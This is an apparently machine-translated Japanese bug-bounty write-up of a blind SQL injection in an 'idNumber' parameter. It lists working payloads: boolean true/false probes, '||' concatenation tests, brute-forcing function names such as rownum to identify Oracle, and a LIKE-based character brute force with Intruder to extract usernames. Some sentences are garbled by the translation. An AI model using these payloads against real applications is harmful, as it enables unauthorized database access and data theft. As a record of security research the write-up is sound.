ソース:
私にとって新しいと思われる新しいテクニックの 1 つは、師匠の pokleyzz から学んだもので。
この挿入は最近のバグ報奨プログラムで発見され、実際のパス/パラメータが置き換えられ。
インジェクションは次のエンドポイントの「idNumber」パラメータで見つかりました
/foo/?theName=YAP&idNumber=248001[ここ]
このターゲットでは一般的なペイロードが実行され、最初は次のペイロードが TRUE / FALSE 条件を識別するために機能していることがわかり。
/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE
/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE
パイプ演算子も使用できて。
/foo/?theName=YAP&idNumber=248'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE
に絞り込むことができました これらの条件により、このアプリケーションで使用するデータベースをOracle 、 PosgreSQL 、 IBM DB2 、または Informix 。
最初は、私が知っているのと同じテクニックを使用してこれを実行できると思い。
参照: https://blog.yappare.com/2012/04/advance-oracle-blind-sql-injection.html
ただし、 CASE() は 機能しませんでした。
使い方を理解するのをやめました 何度か試した後、 CASE() の 。 次に、このテクニックを試し。
参照: https://blog.yappare.com/2017/03/blind-sql-injection-in-erim-not-sure.html
喜びはありません。 デッドエンド。
ほぼ2日間試した後、私は自分でやるのを諦め、数人の友人に助けを求め。
運がなかった。 私は最後のオプションである pokleyzz を試しました。
わずか1時間弱で使えるテクニックを教えてくれました。
/foo/?theName=YAP&idNumber=248'||<既知の SQL 関数をここにブルートフォース>||'001
その結果、「 rownum 」が受け入れられたことがわかり、これは DBMS が Oracle であることを示しています。 再確認のため、次のことを質問しました。
/foo/?theName=YAP&idNumber=24800'||行番号||'
上記のペイロードにより、Web サイトには 「 theName 」製品のリストが表示されます。 で始まる 「 idNumber 」 24800
_ ( ) + . whitespaces
これも行き止まりのように思えますが、pokleyzz は次のペイロードを使用してデータを抽出する別の素晴らしい方法を示しました。
/foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"
そして最後のステップは次のとおりです。
/foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%
上記の攻撃ポイントで Intruder を実行すると、出来上がり、ユーザー名を取得し。
ほなほな。